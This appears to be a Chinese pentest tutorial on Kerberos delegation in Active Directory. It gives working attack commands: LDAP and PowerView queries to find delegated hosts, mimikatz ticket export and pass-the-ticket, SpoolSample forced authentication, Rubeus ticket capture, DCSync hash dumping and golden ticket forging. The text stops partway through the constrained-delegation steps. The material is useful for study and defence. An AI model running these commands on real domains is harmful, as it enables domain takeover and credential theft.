前置知识
概述
域委派是指将域内用户的权限委派给服务账号或主机用户账号,使得服务账号能以用户的权限在域内展开活动,
委派分为三类:
- 非约束委派(Unconstrained delegation)
- 约束委派(Constrained delegation)
- 基于资源的约束委派(Resource Based Constrained Delegation)
主要还是充分发挥windows的权限控制,假设用户A利用自己的身份可以访问到一个网站B,请求网站的资源C,但是网站B上边本身没有资源C,那么网站B就需要用用户A的身份去访问另外一台机器去获取资源C再给到用户
非约束委派
原理
用户A去访问服务B,服务B的服务账户开启了非约束委派,那么当用户A访问服务B的时候会将用户A的TGT发送给服务B并保存进内存,服务B能够利用用户A的身份去访问用户A能够访问的任意服务
1 | 1、用户机器向KDC(密钥分发中心)发送消息请求可转发的TGT1(认证票据) |
实际操作
将HACKERQWQ-PC主机用户设置为非约束委派
- 当服务账号或者主机被设置为非约束性委派时,其
userAccountControl
属性会包含TRUSTED_FOR_DELEGATION
使用微软自带ADSI编辑器adsiedit.msc
查看LDAP目录树
约束委派
因为非约束委派的不安全性,约束委派应运而生。在2003之后微软引入了非约束委派,对Kerberos引入S4U
,包含了两个子协议S4U2self
、S4U2proxy
。S4U2self
可以代表自身请求针对其自身的Kerberos服务票据(ST),S4U2proxy
可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy
扩展的范围
1 | 1、用户向service1发出请求,用户已通过身份验证,但service1没有用户的授权数据,通常这是由于身份验证是通过Kerberos以外的其他方式验证的 |
实际操作
将HACKERQWQ-PC用户设置为约束委派
- 当服务账号或者主机被设置为约束性委派时,其
userAccountControl
属性包含TRUSTED_TO_AUTH_FOR_DELEGATION
,且msDS-AllowedToDelegateTo
属性会包含被约束的服务
userAccountControl
含有授权的字段
msDS-AllowedToDelegateTo
含有委派的服务
非约束委派攻击
非约束委派攻击原理
前面提过,非约束委派的原理是:
用户A去访问服务B,服务B的服务账户开启了非约束委派,那么当用户A访问服务B的时候会将用户A的TGT发送给服务B并保存进内存,服务B能够利用用户A的身份去访问用户A能够访问的任意服务。
因此如果我们的可控主机B是域内非约束委派的主机,当域控或者其他主机通过kerberos协议访问我们的机器的时候,就会在内存留下TGT票据,我们可以通过TGT票据来访问该主机可以访问的任意服务。
服务列表:
非约束委派攻击实现
拓扑图
查找非约束委派
过滤条件
1 | (&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288)) |
ldapsearch(kali自带)
一般用于域外查询
1
2
3
4ldapsearch -x -H ldap://192.168.2.2:389 -D "CN=hhh,CN=Users,DC=pentest,DC=com" -w password -b "DC=pentest,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
#查询非约束委派的服务用户
ldapsearch -x -H ldap://192.168.2.2:389 -D "CN=hhh,CN=Users,DC=pentest,DC=com" -w password -b "DC=pentest,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
#查询非约束委派的主机用户AdFind
使用参数
1
AdFind [switches] [-b basedn] [-f filter] [attr list]
参数说明:
- -b:指定要查询的根节点
- -f:LDAP过滤条件
- attr list:需要显示的属性
1
2
3
4AdFind.exe -b "DC=pentest,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#查询服务用户
AdFind.exe -b "DC=pentest,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#查询主机用户PowerView
1
2
3
4
5Get-NetUser -Unconstrained -Domain qiyou.com |select name
#查询域内非约束委派用户
Get-NetComputer -Unconstrained -Domain pentest.com
#查询域内非约束委派主机
Get-NetComputer -Unconstrained -Domain pentest.com
利用
HackerQWQ-PC
主机用户设置了非约束委派,此时只需要域控JC-DC在HackerQWQ-PC
进行认证,内存留下TGT
凭据,就能造成非约束委派攻击
首先清空票据,尝试用cifs连接jc-dc
1 | mimikatz # kerberos::purge |
当前内存中没有票据,不能通过cifs
服务访问域控的共享目录
这里域控使用winrm
连接HackerQWQ-PC
,常见的链接方式还有MSSQL和IIS
winrm
需要使用Enable-PSRemoting
打开
命令:
1 | Enter-PSSession -ComputerName 计算机名 |
连接成功
接下来在HackerQWQ-PC
查看内存中的票据
1 | mimikatz # privilege::debug |
成功提取出了域控Administrator
的票据
将票据注入内存
1 | mimikatz # kerberos::ptt [0;f6795]-2-0-60a00000-Administrator@krbtgt-PENTEST.COM.kirbi |
之后再尝试通过cifs
连接域控
成功造成非约束委派攻击
非约束委派+Spooler打印机服务
由于单单的非约束委派太被动,需要等管理员来连接,因此tifkin_
,enigma0x3
和harmj0y
在DerbyCon 2018
提出用Spooler打印机程序来强制对方主机连接被委派的主机达到非约束委派攻击的目的
工具链接:(SpoolSample)[https://github.com/leechristensen/SpoolSample]
- 默认
Print Spooler
程序自动运行
攻击方式
拓扑图
思路:win7-1是发现的被委派的主机用户,此时使用SpoolSample.exe程序强制win2012在win7-1上进行验证,留下tgt,然后win7-1通过导入tgt就能实现对域控的访问
清空win7-1上的票据
1
2mimikatz # privilege::debug
mimikatz # kerberos::purge使用SpoolSample.exe程序强制认证
1
2SpoolSample.exe target server
SpoolSample.exe dc win7-1本地失败,实战再用
获取票据注入内存
1
2
3
4
5
6
7
8
9
10
11后续用Rubeus来监听事件id为4624的事件,可以第一事件截取到域控的TGT,监听来自域控OWA2013的登录
Rubeus.exe monitor /interval:1 /filteruser:OWA2013$
后续再Rubeus导入base64的票据直接注入进内存
Rubeus.exe ptt /ticket:base64
用mimikatz也可
privilege::debug
sekurlsa::tickets /export
导入票据后ptt即可
kerberos::ptt XXX.kirbi使用dcsync导出域控中的所有用户的hash值,生成黄金票据
1
lsadump::dcsync /domain:rootkit.org /all /csv
得到
krbtgt
用户的hash之后生成一张administrator的黄金票据1
kerberos::golden /user:Administrator /domain:test.local /sid:S-1-5-21-662417213-3583657854-423750704 /krbtgt:683545df56ea57b168d0ad090e209616 /ptt
然后就可以用administrator的身份登录域控
也可以用
WinRM
服务远程连接域控1
Enter-PSSession -ComputerName dc
约束委派攻击
约束委派攻击的原理
被约束委派的主机用户通过模拟任意用户访问被委派的服务
前提:能获取到服务用户的明文密码或Hash值
约束委派攻击实操
拓扑图
步骤
- 设置spn从而使普通用户变为服务用户可进行委派
1 | setspn -s service/name hostname |
更多spn操作参考官网
- 设置好win7-1对dc的cifs的委派
3.